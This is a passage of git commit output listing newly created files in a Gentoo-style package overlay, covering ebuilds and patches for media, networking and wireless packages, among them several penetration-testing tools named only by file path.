 create mode 100644 media-tv/xbmc/files/xbmc-9999-arm-kill-softfp.patch
 create mode 100644 media-tv/xbmc/files/xbmc-9999-libpng-1.5-fix-plt-trn-get.patch
 create mode 100644 media-tv/xbmc/files/xbmc-9999-no-arm-flags.patch
 create mode 100644 media-tv/xbmc/files/xbmc-9999-no-exec-stack.patch
 create mode 100644 media-tv/xbmc/files/xbmc-9999-nomythtv.patch
 create mode 100644 media-tv/xbmc/xbmc-10.1.ebuild
 create mode 100644 media-tv/xbmc/xbmc-11.0.ebuild
 create mode 100644 media-tv/xbmc/xbmc-12.0.ebuild
 create mode 100644 media-video/amdcccle/Manifest
 create mode 100644 media-video/amdcccle/amdcccle-11.10.ebuild
 create mode 100644 media-video/amdcccle/amdcccle-11.11.ebuild
 create mode 100644 media-video/amdcccle/amdcccle-11.12.ebuild
 create mode 100644 media-video/amdcccle/amdcccle-11.6.ebuild
 create mode 100644 media-video/amdcccle/amdcccle-11.8.ebuild
 create mode 100644 media-video/amdcccle/amdcccle-11.9.ebuild
 create mode 100644 media-video/amdcccle/amdcccle-12.1-r1.ebuild
 create mode 100644 media-video/amdcccle/amdcccle-12.2.ebuild
 create mode 100644 media-video/amdcccle/amdcccle-12.3.ebuild
 create mode 100644 media-video/ffmpeg/Manifest
 create mode 100644 media-video/ffmpeg/ffmpeg-0.5_p20373.ebuild
 create mode 100644 media-video/mkvtoolnix-gui/Manifest
 create mode 100644 media-video/mkvtoolnix-gui/mkvtoolnix-gui-5.0.1.ebuild
 create mode 100644 media-video/mkvtoolnix/Manifest
 create mode 100644 media-video/mkvtoolnix/mkvtoolnix-5.0.1.ebuild
 create mode 100644 media-video/nvidia-settings/Manifest
 create mode 100644 media-video/nvidia-settings/files/95-nvidia-settings
 create mode 100644 media-video/nvidia-settings/files/nvidia-autostart.desktop
 create mode 100644 media-video/nvidia-settings/nvidia-settings-295.33.ebuild
 create mode 100644 media-video/nvidia-settings/nvidia-settings-295.40.ebuild
 create mode 100644 media-video/nvidia-settings/nvidia-settings-302.07.ebuild
 create mode 100644 media-video/nvidia-settings/nvidia-settings-304.22.ebuild
 create mode 100644 media-video/nvidia-settings/nvidia-settings-304.60.ebuild
 create mode 100644 media-video/nvidia-settings/nvidia-settings-304.88.ebuild
 create mode 100644 media-video/nvidia-settings/nvidia-settings-310.19.ebuild
 create mode 100644 media-video/nvidia-settings/nvidia-settings-313.30.ebuild
 create mode 100644 media-video/nvidia-settings/nvidia-settings-325.15.ebuild
 create mode 100644 media-video/tovid/Manifest
 create mode 100644 media-video/tovid/metadata.xml
 create mode 100644 media-video/tovid/tovid-0.34.ebuild
 create mode 100644 media-video/tovid/tovid-0.34_p20120123.ebuild
 create mode 100644 media-video/tv-maxe/Manifest
 create mode 100644 media-video/tv-maxe/tv-maxe-0.08.ebuild
 create mode 100644 media-video/tv-maxe/tv-maxe-0.09.ebuild
 create mode 100644 media-video/tvmaxe-cli/Manifest
 create mode 100644 media-video/tvmaxe-cli/tvmaxe-cli-20120906.ebuild
 create mode 100644 media-video/webcamstudio-module/Manifest
 create mode 100644 media-video/webcamstudio-module/webcamstudio-module-1.4-r2.ebuild
 create mode 100644 media-video/webcamstudio-module/webcamstudio-module-1.4-r2.ebuild.save
 create mode 100644 metadata/layout.conf
 create mode 100644 net-analyzer/g-wan/g-wan-2012.ebuild
 create mode 100644 net-analyzer/metasploit/Manifest
 create mode 100644 net-analyzer/metasploit/metasploit-9999.ebuild
 create mode 100644 net-misc/hamachi-gui/Manifest
 create mode 100644 net-misc/hamachi-gui/hamachi-gui-0.9.6.ebuild
 create mode 100644 net-misc/logmein-hamachi/ChangeLog
 create mode 100644 net-misc/logmein-hamachi/Manifest
 create mode 100644 net-misc/logmein-hamachi/files/logmein-hamachi.confd
 create mode 100644 net-misc/logmein-hamachi/files/logmein-hamachi.initd
 create mode 100644 net-misc/logmein-hamachi/logmein-hamachi-2.1.0.17.ebuild
 create mode 100644 net-misc/logmein-hamachi/logmein-hamachi-2.1.0.68-r1.ebuild
 create mode 100644 net-misc/logmein-hamachi/logmein-hamachi-2.1.0.68.ebuild
 create mode 100644 net-misc/logmein-hamachi/logmein-hamachi-2.1.0.76-r1.ebuild
 create mode 100644 net-misc/logmein-hamachi/logmein-hamachi-2.1.0.76.ebuild
 create mode 100644 net-misc/logmein-hamachi/metadata.xml
 create mode 100644 net-misc/openssh-x/ChangeLog
 create mode 100644 net-misc/openssh-x/Manifest
 create mode 100644 net-misc/openssh-x/files/openssh-4.7_p1-GSSAPI-dns.patch
 create mode 100644 net-misc/openssh-x/files/openssh-5.2_p1-autoconf.patch
 create mode 100644 net-misc/openssh-x/files/openssh-5.2_p1-gsskex-fix.patch
 create mode 100644 net-misc/openssh-x/files/openssh-5.2_p1-x509-hpn-glue.patch
 create mode 100644 net-misc/openssh-x/files/openssh-5.2p1-ldap-stdargs.diff
 create mode 100644 net-misc/openssh-x/files/openssh-5.4_p1-openssl.patch
 create mode 100644 net-misc/openssh-x/files/openssh-5.6_p1-hpn-progressmeter.patch
 create mode 100644 net-misc/openssh-x/files/openssh-5.6_p1-x509-hpn-glue.patch
 create mode 100644 net-misc/openssh-x/files/openssh-5.7_p1-x509-hpn-glue.patch
 create mode 100644 net-misc/openssh-x/files/openssh-5.8_p1-selinux.patch
 create mode 100644 net-misc/openssh-x/files/openssh-5.8_p1-x509-hpn-glue.patch
 create mode 100644 net-misc/openssh-x/files/openssh-5.9_p1-drop-openssl-check.patch
 create mode 100644 net-misc/openssh-x/files/openssh-5.9_p1-sshd-gssapi-multihomed.patch
 create mode 100644 net-misc/openssh-x/files/openssh-5.9_p1-x509-glue.patch
 create mode 100644 net-misc/openssh-x/files/openssh-6.0_p1-fix-freebsd-compilation.patch
 create mode 100644 net-misc/openssh-x/files/openssh-6.0_p1-hpn-progressmeter.patch
 create mode 100644 net-misc/openssh-x/files/openssh-6.0_p1-test.patch
 create mode 100644 net-misc/openssh-x/files/openssh-6.0_p1-x509-glue.patch
 create mode 100644 net-misc/openssh-x/files/openssh-6.0_p1-x509-hpn-glue.patch
 create mode 100644 net-misc/openssh-x/files/openssh-6.1_p1-x509-glue.patch
 create mode 100644 net-misc/openssh-x/files/openssh-6.1_p1-x509-hpn-glue.patch
 create mode 100644 net-misc/openssh-x/files/sshd.confd
 create mode 100644 net-misc/openssh-x/files/sshd.pam
 create mode 100644 net-misc/openssh-x/files/sshd.pam_include.2
 create mode 100644 net-misc/openssh-x/files/sshd.rc6
 create mode 100644 net-misc/openssh-x/files/sshd.rc6.1
 create mode 100644 net-misc/openssh-x/files/sshd.rc6.2
 create mode 100755 net-misc/openssh-x/files/sshd.rc6.3
 create mode 100644 net-misc/openssh-x/files/sshd.service
 create mode 100644 net-misc/openssh-x/files/sshd.socket
 create mode 100644 net-misc/openssh-x/files/sshd_at.service
 create mode 100644 net-misc/openssh-x/metadata.xml
 create mode 100644 net-misc/openssh-x/openssh-x-6.0_p1-r1.ebuild
 create mode 100644 net-misc/openssh-x/openssh-x-6.0_p1.ebuild
 create mode 100644 net-misc/openssh-x/openssh-x-6.1_p1.ebuild
 create mode 100644 net-misc/teamviewer/Manifest
 create mode 100644 net-misc/teamviewer/teamviewer-7.0.9310.ebuild
 create mode 100644 net-misc/teamviewer/teamviewer-7.0.9377.ebuild
 create mode 100644 net-misc/teamviewer/teamviewer-8.0.16675.ebuild
 create mode 100644 net-misc/tigervnc/Manifest
 create mode 100644 net-misc/tigervnc/tigervnc-1.2.0.ebuild
 create mode 100644 net-misc/udpcast/ChangeLog
 create mode 100644 net-misc/udpcast/Manifest
 create mode 100644 net-misc/udpcast/files/udpcast-define.patch
 create mode 100644 net-misc/udpcast/metadata.xml
 create mode 100644 net-misc/udpcast/udpcast-20110710.ebuild
 create mode 100644 net-misc/udpcast/udpcast-20120424.ebuild
 create mode 100644 net-misc/xdman/Manifest
 create mode 100644 net-misc/xdman/xdman-1.0.ebuild
 create mode 100644 net-misc/xrdp/Manifest
 create mode 100644 net-misc/xrdp/xrdp-9999.ebuild
 create mode 100644 net-p2p/gnunet-gtk/ChangeLog
 create mode 100644 net-p2p/gnunet-gtk/Manifest
 create mode 100644 net-p2p/gnunet-gtk/gnunet-gtk-0.7.3.ebuild
 create mode 100644 net-p2p/gnunet-gtk/gnunet-gtk-0.8.0.ebuild
 create mode 100644 net-p2p/gnunet-gtk/gnunet-gtk-0.8.0_pre0.ebuild
 create mode 100644 net-p2p/gnunet-gtk/gnunet-gtk-0.8.0_pre1.ebuild
 create mode 100644 net-p2p/gnunet-gtk/gnunet-gtk-0.8.0a.ebuild
 create mode 100644 net-p2p/gnunet-gtk/gnunet-gtk-0.8.0c.ebuild
 create mode 100644 net-p2p/gnunet-gtk/gnunet-gtk-0.8.1.ebuild
 create mode 100644 net-p2p/gnunet-gtk/gnunet-gtk-0.8.1a.ebuild
 create mode 100644 net-p2p/gnunet-gtk/gnunet-gtk-0.9.0_pre1.ebuild
 create mode 100644 net-p2p/gnunet-gtk/metadata.xml
 create mode 100644 net-p2p/gnunet-qt/ChangeLog
 create mode 100644 net-p2p/gnunet-qt/Manifest
 create mode 100644 net-p2p/gnunet-qt/gnunet-qt-0.8.1.ebuild
 create mode 100644 net-p2p/gnunet-qt/gnunet-qt-0.8.1a.ebuild
 create mode 100644 net-p2p/gnunet/ChangeLog
 create mode 100644 net-p2p/gnunet/Manifest
 create mode 100644 net-p2p/gnunet/files/config-daemon.in.patch
 create mode 100644 net-p2p/gnunet/files/gnunet
 create mode 100644 net-p2p/gnunet/files/gnunet-0.9.0_pre0-gentoo.patch
 create mode 100644 net-p2p/gnunet/files/gnunet-0.9.0_pre2-gentoo.patch
 create mode 100644 net-p2p/gnunet/files/gnunet-2
 create mode 100644 net-p2p/gnunet/files/gnunet-download-manager.scm
 create mode 100644 net-p2p/gnunet/files/gnunet.initd
 create mode 100644 net-p2p/gnunet/files/gnunet.initd-0.9.0
 create mode 100644 net-p2p/gnunet/files/gnunet.initd-0.9.0v2
 create mode 100644 net-p2p/gnunet/gnunet-0.7.0b.ebuild
 create mode 100644 net-p2p/gnunet/gnunet-0.7.0e.ebuild
 create mode 100644 net-p2p/gnunet/gnunet-0.7.1.ebuild
 create mode 100644 net-p2p/gnunet/gnunet-0.7.1_pre0.ebuild
 create mode 100644 net-p2p/gnunet/gnunet-0.7.1a.ebuild
 create mode 100644 net-p2p/gnunet/gnunet-0.7.1b.ebuild
 create mode 100644 net-p2p/gnunet/gnunet-0.7.2b.ebuild
 create mode 100644 net-p2p/gnunet/gnunet-0.7.2c.ebuild
 create mode 100644 net-p2p/gnunet/gnunet-0.7.3.ebuild
 create mode 100644 net-p2p/gnunet/gnunet-0.8.0.ebuild
 create mode 100644 net-p2p/gnunet/gnunet-0.8.0_pre0.ebuild
 create mode 100644 net-p2p/gnunet/gnunet-0.8.0_pre1.ebuild
 create mode 100644 net-p2p/gnunet/gnunet-0.8.0a.ebuild
 create mode 100644 net-p2p/gnunet/gnunet-0.8.0b.ebuild
 create mode 100644 net-p2p/gnunet/gnunet-0.8.0c.ebuild
 create mode 100644 net-p2p/gnunet/gnunet-0.8.1-r1.ebuild
 create mode 100644 net-p2p/gnunet/gnunet-0.8.1.ebuild
 create mode 100644 net-p2p/gnunet/gnunet-0.8.1a.ebuild
 create mode 100644 net-p2p/gnunet/gnunet-0.8.1b.ebuild
 create mode 100644 net-p2p/gnunet/gnunet-0.9.0.ebuild
 create mode 100644 net-p2p/gnunet/gnunet-0.9.0_pre0.ebuild
 create mode 100644 net-p2p/gnunet/gnunet-0.9.0_pre1.ebuild
 create mode 100644 net-p2p/gnunet/gnunet-0.9.0_pre2.ebuild
 create mode 100644 net-p2p/gnunet/gnunet-0.9.1.ebuild
 create mode 100644 net-p2p/gnunet/gnunet-0.9.2.ebuild
 create mode 100644 net-p2p/gnunet/gnunet-0.9.3.ebuild
 create mode 100644 net-p2p/gnunet/gnunet-0.9.5a.ebuild
 create mode 100644 net-p2p/gnunet/metadata.xml
 create mode 100644 net-p2p/kamailio/Manifest
 create mode 100644 net-p2p/kamailio/kamailio-9999.ebuild
 create mode 100644 net-p2p/sopcast-bin/Manifest
 create mode 100644 net-p2p/sopcast-bin/metadata.xml
 create mode 100644 net-p2p/sopcast-bin/sopcast-bin-3.2.6.ebuild
 create mode 100644 net-p2p/wuala/Manifest
 create mode 100644 net-p2p/wuala/wuala-0_pre20120716.ebuild
 create mode 100644 net-print/hplip/Manifest
 create mode 100644 net-print/hplip/files/hplip-3.10.9-cve-2010-4267.patch
 create mode 100644 net-print/hplip/files/hplip-3.11.1-desktop.patch
 create mode 100644 net-print/hplip/files/hplip-3.11.1-htmldir.patch
 create mode 100644 net-print/hplip/files/hplip-3.11.10-udev-attrs.patch
 create mode 100644 net-print/hplip/files/hplip-3.9.10-browser.patch
 create mode 100644 net-print/hplip/files/hplip-3.9.12-cupsddk.patch
 create mode 100644 net-print/hplip/files/hplip-3.9.12-systray.patch
 create mode 100644 net-print/hplip/hplip-3.12.10.ebuild
 create mode 100644 net-print/hplip/hplip-3.12.10a-r1.ebuild
 create mode 100644 net-print/hplip/hplip-3.12.10a.ebuild
 create mode 100644 net-print/hplip/hplip-3.12.11-r1.ebuild
 create mode 100644 net-print/hplip/hplip-3.12.11.ebuild
 create mode 100644 net-print/hplip/hplip-3.12.4.ebuild
 create mode 100644 net-print/hplip/hplip-3.12.9-r1.ebuild
 create mode 100644 net-wireless/afrag/Manifest
 create mode 100644 net-wireless/afrag/afrag-0.1.ebuild
 create mode 100644 net-wireless/aircrack-ng/Manifest
 create mode 100644 net-wireless/aircrack-ng/aircrack-ng-1.1-r6.ebuild
 create mode 100644 net-wireless/aircrack-ng/aircrack-ng-9999.ebuild
 create mode 100644 net-wireless/aircrack-ng/files/aircrack-ng-1.1-respect_LDFLAGS.patch
 create mode 100644 net-wireless/aircrack-ng/files/airdrop-ng-oui-path-fix.patch
 create mode 100644 net-wireless/aircrack-ng/files/airodump-ng-oui-update-path-fix.patch
 create mode 100644 net-wireless/aircrack-ng/files/airodump-ng.ignore-negative-one.v4.patch
 create mode 100644 net-wireless/aircrack-ng/files/changeset_r1921_backport.diff
 create mode 100644 net-wireless/aircrack-ng/files/diff-wpa-migration-mode-aircrack-ng.diff
 create mode 100644 net-wireless/aircrack-ng/files/eapol_fix.patch
 create mode 100644 net-wireless/aircrack-ng/files/ignore-channel-1-error.patch
 create mode 100644 net-wireless/aircrack-ng/files/pic-fix.patch
 create mode 100644 net-wireless/aircrackgui-m4/Manifest
 create mode 100644 net-wireless/aircrackgui-m4/aircrackgui-m4-0.7.0.ebuild
 create mode 100644 net-wireless/airoscript/Manifest
 create mode 100644 net-wireless/airoscript/airoscript-9999.ebuild
 create mode 100644 net-wireless/airpwn/Manifest
 create mode 100644 net-wireless/airpwn/airpwn-1.4-r1.ebuild
 create mode 100644 net-wireless/b43-openfwwf/Manifest
 create mode 100644 net-wireless/b43-openfwwf/b43-openfwwf-5.2.ebuild
 create mode 100644 net-wireless/b43-tools/Manifest
 create mode 100644 net-wireless/b43-tools/b43-tools-9999.ebuild
 create mode 100644 net-wireless/bluemaho/Manifest
 create mode 100644 net-wireless/bluemaho/bluemaho-090417-r1.ebuild
 create mode 100644 net-wireless/bluemaho/files/bluemaho
 create mode 100644 net-wireless/bluemaho/files/btftp-libxml.patch
 create mode 100644 net-wireless/broadcom-firmware-downloader/Manifest
 create mode 100644 net-wireless/broadcom-firmware-downloader/broadcom-firmware-downloader-0.1-r2.ebuild
 create mode 100644 net-wireless/broadcom-firmware-downloader/broadcom-firmware-downloader-0.2.ebuild
 create mode 100644 net-wireless/broadcom-firmware-installer/Manifest
 create mode 100644 net-wireless/broadcom-firmware-installer/broadcom-firmware-installer-0.1-r3.ebuild
 create mode 100644 net-wireless/broadcom-firmware-installer/broadcom-firmware-installer-0.2.ebuild
 create mode 100644 net-wireless/bt-audit/Manifest
 create mode 100644 net-wireless/bt-audit/bt-audit-0.1.1-r1.ebuild
 create mode 100644 net-wireless/btscanner/Manifest
 create mode 100644 net-wireless/btscanner/btscanner-2.1-r4.ebuild
 create mode 100644 net-wireless/compat-wireless-builder/Manifest
 create mode 100644 net-wireless/compat-wireless-builder/compat-wireless-builder-3.3.6.ebuild
 create mode 100644 net-wireless/compat-wireless-builder/compat-wireless-builder-3.4_rc3.ebuild
 create mode 100644 net-wireless/compat-wireless-builder/compat-wireless-builder-3.4_rc7.ebuild
 create mode 120000 net-wireless/compat-wireless-builder/files
 create mode 100644 net-wireless/compat-wireless/Manifest
 create mode 100644 net-wireless/compat-wireless/compat-wireless-2.6.32.8.ebuild
 create mode 100644 net-wireless/compat-wireless/compat-wireless-2.6.33-r1.ebuild
 create mode 100644 net-wireless/compat-wireless/compat-wireless-2.6.34-r2.ebuild
 create mode 100644 net-wireless/compat-wireless/compat-wireless-2.6.35-r1.ebuild
 create mode 100644 net-wireless/compat-wireless/compat-wireless-2.6.36.ebuild
 create mode 100644 net-wireless/compat-wireless/compat-wireless-2.6.37-r7.ebuild
 create mode 100644 net-wireless/compat-wireless/compat-wireless-2.6.37-r8.ebuild
 create mode 100644 net-wireless/compat-wireless/compat-wireless-2.6.38.2-r1.ebuild
 create mode 100644 net-wireless/compat-wireless/compat-wireless-2.6.39-r1.ebuild
 create mode 100644 net-wireless/compat-wireless/compat-wireless-3.0.ebuild
 create mode 100644 net-wireless/compat-wireless/compat-wireless-3.1.1.ebuild
 create mode 100644 net-wireless/compat-wireless/compat-wireless-3.2.5.ebuild
 create mode 100644 net-wireless/compat-wireless/compat-wireless-3.2.ebuild
 create mode 100644 net-wireless/compat-wireless/compat-wireless-3.3-r1.ebuild
 create mode 100644 net-wireless/compat-wireless/compat-wireless-3.3.ebuild
 create mode 100644 net-wireless/compat-wireless/compat-wireless-3.4_rc1-r1.ebuild
 create mode 100644 net-wireless/compat-wireless/compat-wireless-3.4_rc1.ebuild
 create mode 100644 net-wireless/compat-wireless/compat-wireless-3.4_rc3.ebuild
 create mode 100644 net-wireless/compat-wireless/compat-wireless-3.5-r1.ebuild
 create mode 100644 net-wireless/compat-wireless/compat-wireless-3.5.4.ebuild
 create mode 100644 net-wireless/compat-wireless/compat-wireless-3.5.ebuild
 create mode 100644 net-wireless/compat-wireless/compat-wireless-3.5_rc3.ebuild
 create mode 100644 net-wireless/compat-wireless/compat-wireless-3.6.2.ebuild
 create mode 100644 net-wireless/compat-wireless/compat-wireless-3.6.6-r1.ebuild
 create mode 100644 net-wireless/compat-wireless/compat-wireless-3.6.6.ebuild
 create mode 100644 net-wireless/compat-wireless/compat-wireless-3.6_rc5.ebuild
 create mode 100644 net-wireless/compat-wireless/compat-wireless-3.6_rc7.ebuild
 create mode 100644 net-wireless/compat-wireless/files/0001-ath5k-retain-promiscuous-setting.patch
 create mode 100644 net-wireless/compat-wireless/files/4000_mac80211_2.6.28-rc4-wl_frag+ack_v3.patch
 create mode 100644 net-wireless/compat-wireless/files/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
 create mode 100644 net-wireless/compat-wireless/files/4004_zd1211rw-2.6.28.patch
 create mode 100644 net-wireless/compat-wireless/files/4005_ath5k-frequency-expansion-2.6.30.patch
 create mode 100644 net-wireless/compat-wireless/files/4007_ath5k-pass-failed-crc.patch
 create mode 100644 net-wireless/compat-wireless/files/4012_openwrt-b43-disable_qos_when_openfw.patch
 create mode 100644 net-wireless/compat-wireless/files/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
 create mode 100644 net-wireless/compat-wireless/files/4099-2.6.32-rc7-mac80211-security-fixes.patch
 create mode 100644 net-wireless/compat-wireless/files/WEXT-EXT-nuts.patch
 create mode 100644 net-wireless/compat-wireless/files/ath9k_htc_ethtool_driver.patch
 create mode 100644 net-wireless/compat-wireless/files/ath_ignore_eeprom.patch
 create mode 100644 net-wireless/compat-wireless/files/ath_regd_optional.patch
 create mode 100644 net-wireless/compat-wireless/files/blinky.patch
 create mode 100644 net-wireless/compat-wireless/files/channel-negative-one-maxim.patch
 create mode 100644 net-wireless/compat-wireless/files/compat-chaos.patch
 create mode 100644 net-wireless/compat-wireless/files/compat-sched.patch
 create mode 100644 net-wireless/compat-wireless/files/compat-wireless-3.5-grsec.patch
 create mode 100644 net-wireless/compat-wireless/files/compat-wireless-3.5-grsec2.patch
 create mode 100644 net-wireless/compat-wireless/files/compat-wireless-3.5.4-grsec.patch
 create mode 100644 net-wireless/compat-wireless/files/compat-wireless-3.6-grsec.patch
 create mode 100644 net-wireless/compat-wireless/files/compat-wireless-3.6-zc-grsec.patch
 create mode 100644 net-wireless/compat-wireless/files/compat-wireless-3.6.6-grsec-warnings.patch
 create mode 100644 net-wireless/compat-wireless/files/compat-wireless-3.6.6-grsec.patch
 create mode 100644 net-wireless/compat-wireless/files/driver-debug.patch
 create mode 100644 net-wireless/compat-wireless/files/failed_ath5k-frequency-chaos-2.6.28.patch
 create mode 100644 net-wireless/compat-wireless/files/failed_ieee80211_inject-2.6.22.patch
 create mode 100644 net-wireless/compat-wireless/files/failed_linux-wlanng-kernel-2.6.28.patch
 create mode 100644 net-wireless/compat-wireless/files/failed_openembedded-orinoco-remove-all-which-are-in-hostap-HACK.patch
 create mode 100644 net-wireless/compat-wireless/files/fix-typos-2.6.35_rc2.patch
 create mode 100644 net-wireless/compat-wireless/files/fix-typos-2.6.36_rc5.patch
 create mode 100644 net-wireless/compat-wireless/files/force-enable-new-ralink-2.6.38_rc3.patch
 create mode 100644 net-wireless/compat-wireless/files/force-enable-new-ralink-pci-2.6.36-rc5.patch
 create mode 100644 net-wireless/compat-wireless/files/force-enable-new-ralink-pci.patch
 create mode 100644 net-wireless/compat-wireless/files/force-enable-new-ralink.patch
 create mode 100644 net-wireless/compat-wireless/files/ipw2200-inject.2.6.36.patch
 create mode 100644 net-wireless/compat-wireless/files/ipw2200-inject.3.4.6.patch
 create mode 100644 net-wireless/compat-wireless/files/iwlwifi-5000-exp-firmware.patch
 create mode 100644 net-wireless/compat-wireless/files/johill-negone-paul.patch
 create mode 100644 net-wireless/compat-wireless/files/johill-negone.patch
 create mode 100644 net-wireless/compat-wireless/files/led-oops.patch
 create mode 100644 net-wireless/compat-wireless/files/leds-disable-strict-3.6.6.patch
 create mode 100644 net-wireless/compat-wireless/files/leds-disable-strict.patch
 create mode 100644 net-wireless/compat-wireless/files/leds-disable.patch
 create mode 100644 net-wireless/compat-wireless/files/linville-aircrack-ng.patch
 create mode 100644 net-wireless/compat-wireless/files/mac80211.compat08082009.wl_frag+ack_v1.patch
 create mode 100644 net-wireless/compat-wireless/files/make-make.patch
 create mode 100644 net-wireless/compat-wireless/files/orinoco-remove-all-which-are-in-hostap-OFFICIAL.patch
 create mode 100644 net-wireless/compat-wireless/files/reinette-test2.patch
 create mode 100644 net-wireless/compat-wireless/files/rtl8187-mac80211-injection-speed-2.6.30-rc3.patch
 create mode 100644 net-wireless/compat-wireless/files/super_secret_patch.diff
 create mode 100644 net-wireless/compat-wireless/files/ubnt-wifi-station-ext2.patch
 create mode 100644 net-wireless/compat-wireless/files/whynot-2.6.31.patch
 create mode 100644 net-wireless/compat-wireless/files/whynot-2.6.32.patch
 create mode 100644 net-wireless/compat-wireless/files/whynot.patch
 create mode 100644 net-wireless/compat-wireless/files/wl1251-inject-2.6.37.patch
 create mode 100644 net-wireless/compat-wireless/metadata.xml
 create mode 100644 net-wireless/cowpatty/Manifest
 create mode 100644 net-wireless/cowpatty/cowpatty-4.3-r2.ebuild
 create mode 100644 net-wireless/cowpatty/cowpatty-4.6-r4.ebuild
 create mode 100644 net-wireless/cowpatty/files/cowpatty-4.3-fixup2.patch
 create mode 100644 net-wireless/cowpatty/files/cowpatty-4.3-hashfix.patch
 create mode 100644 net-wireless/cowpatty/files/cowpatty-4.6-fixup14.patch
 create mode 100644 net-wireless/crda/Manifest
 create mode 100644 net-wireless/crda/crda-1.1.0-r1.ebuild
 create mode 100644 net-wireless/crda/crda-1.1.1.ebuild
 create mode 100644 net-wireless/dedected/Manifest
 create mode 100644 net-wireless/dedected/dedected-9999.ebuild
 create mode 100644 net-wireless/dedected/files/99-dect.rules
 create mode 100644 net-wireless/dedected/files/load-dect.sh
 create mode 100644 net-wireless/desknfc/Manifest
 create mode 100644 net-wireless/desknfc/desknfc-9999.ebuild
 create mode 100644 net-wireless/fern-wifi-cracker/Manifest
 create mode 100644 net-wireless/fern-wifi-cracker/fern-wifi-cracker-1.6.ebuild
 create mode 100644 net-wireless/fern-wifi-cracker/files/fern-wifi-cracker
 create mode 100644 net-wireless/fern-wifi-cracker/files/fern-wifi-cracker.desktop
 create mode 100644 net-wireless/gqrx/Manifest
 create mode 100644 net-wireless/gqrx/gqrx-9999.ebuild
 create mode 100644 net-wireless/gr-air-modes/Manifest
 create mode 100644 net-wireless/gr-air-modes/files/modes.py
 create mode 100644 net-wireless/gr-air-modes/files/rtl_modes.py
 create mode 100644 net-wireless/gr-air-modes/gr-air-modes-9999.ebuild
 create mode 100644 net-wireless/grimwepa/Manifest
 create mode 100644 net-wireless/grimwepa/files/grimwepa.conf
 create mode 100644 net-wireless/grimwepa/files/grimwepa.desktop
 create mode 100644 net-wireless/grimwepa/files/grimwepa.sh
 create mode 100644 net-wireless/grimwepa/grimwepa-1.10_p5-r100.ebuild
 create mode 100644 net-wireless/haraldscan/Manifest
 create mode 100644 net-wireless/haraldscan/files/haraldscan-maclist-path.patch
 create mode 100644 net-wireless/haraldscan/haraldscan-0.41.ebuild
 create mode 100644 net-wireless/horst/Manifest
 create mode 100644 net-wireless/horst/horst-3.0.ebuild
 create mode 100644 net-wireless/hostapd/ChangeLog
 create mode 100644 net-wireless/hostapd/Manifest
 create mode 100644 net-wireless/hostapd/files/cui-20120417.patch
 create mode 100644 net-wireless/hostapd/files/cui-20120717.patch
 create mode 100644 net-wireless/hostapd/files/hostapd-0.7.3-karma.patch
 create mode 100644 net-wireless/hostapd/files/hostapd-1.0-karma-0.2.patch
 create mode 100644 net-wireless/hostapd/files/hostapd-1.0-karma.patch
 create mode 100644 net-wireless/hostapd/files/hostapd-1.0-libnl_path_fix.patch
 create mode 100644 net-wireless/hostapd/files/hostapd-1.0-tls_length_fix.patch
 create mode 100644 net-wireless/hostapd/files/hostapd-conf.d
 create mode 100644 net-wireless/hostapd/files/hostapd-init.d
 create mode 100644 net-wireless/hostapd/hostapd-1.0-r4.ebuild
 create mode 100644 net-wireless/hostapd/hostapd-1.0-r5.ebuild
 create mode 100644 net-wireless/hostapd/metadata.xml
 create mode 100644 net-wireless/intel-wimax-binary-supplicant/Manifest
 create mode 100644 net-wireless/intel-wimax-binary-supplicant/files/50-intel-wimax-binary-supplicant
 create mode 100644 net-wireless/intel-wimax-binary-supplicant/files/install-to-usr-lib.patch
 create mode 100644 net-wireless/intel-wimax-binary-supplicant/intel-wimax-binary-supplicant-1.4.0.ebuild
 create mode 100644 net-wireless/intel-wimax-network-service/Manifest
 create mode 100755 net-wireless/intel-wimax-network-service/files/wimax
 create mode 100644 net-wireless/intel-wimax-network-service/intel-wimax-network-service-1.4.0-r1.ebuild
 create mode 100644 net-wireless/intel-wimax-network-service/intel-wimax-network-service-1.4.0.ebuild
 create mode 100644 net-wireless/intel-wimax-tools/Manifest
 create mode 100644 net-wireless/intel-wimax-tools/intel-wimax-tools-1.4.2.1.ebuild
 create mode 100644 net-wireless/intel-wimax-tools/intel-wimax-tools-1.4.2.ebuild
 create mode 100644 net-wireless/ipw2200/ChangeLog
 create mode 100644 net-wireless/ipw2200/Manifest
 create mode 100644 net-wireless/ipw2200/files/digest-ipw2200-1.2.0
 create mode 100644 net-wireless/ipw2200/files/ipw2200-1.2.0-inject.patch
 create mode 100644 net-wireless/ipw2200/files/ipw2200-1.2.0-modverdir.patch
 create mode 100644 net-wireless/ipw2200/ipw2200-1.2.0.ebuild
 create mode 100644 net-wireless/karmetasploit/Manifest
 create mode 100644 net-wireless/karmetasploit/files/karma.rc
 create mode 100644 net-wireless/karmetasploit/files/karmeta-dhcpd.conf
 create mode 100755 net-wireless/karmetasploit/files/karmeta.sh
 create mode 100644 net-wireless/karmetasploit/karmetasploit-0.1-r2.ebuild
 create mode 100644 net-wireless/killerbee/Manifest
 create mode 100644 net-wireless/killerbee/killerbee-9999.ebuild
 create mode 100644 net-wireless/kismet-dect/Manifest
 create mode 100644 net-wireless/kismet-dect/kismet-dect-9999.ebuild
 create mode 100644 net-wireless/libfreefare/Manifest
 create mode 100644 net-wireless/libfreefare/libfreefare-0.3.2.ebuild
 create mode 100644 net-wireless/linux-wlan-ng-modules/Manifest
 create mode 100644 net-wireless/linux-wlan-ng-modules/files/digest-linux-wlan-ng-modules-0.2.5
 create mode 100644 net-wireless/linux-wlan-ng-modules/files/linux-wlan-0.2.3.packet.injection.patch
 create mode 100644 net-wireless/linux-wlan-ng-modules/linux-wlan-ng-modules-0.2.5.ebuild
 create mode 100644 net-wireless/lorcon-old/Manifest
 create mode 100644 net-wireless/lorcon-old/lorcon-old-9999.ebuild
 create mode 100644 net-wireless/lorcon/Manifest
 create mode 100644 net-wireless/lorcon/lorcon-9999.ebuild
 create mode 100644 net-wireless/mdk/Manifest
 create mode 100644 net-wireless/mdk/files/fix_wids_mdk3_v5.patch
 create mode 100644 net-wireless/mdk/mdk-3.6.ebuild
 create mode 100644 net-wireless/mfoc/Manifest
 create mode 100644 net-wireless/mfoc/files/mfoc-libnfc-1.5.1.patch
 create mode 100644 net-wireless/mfoc/mfoc-0.10.2.ebuild
 create mode 100644 net-wireless/nfcd/Manifest
 create mode 100644 net-wireless/nfcd/nfcd-9999.ebuild
 create mode 100644 net-wireless/op25/Manifest
 create mode 100644 net-wireless/op25/op25-9999.ebuild
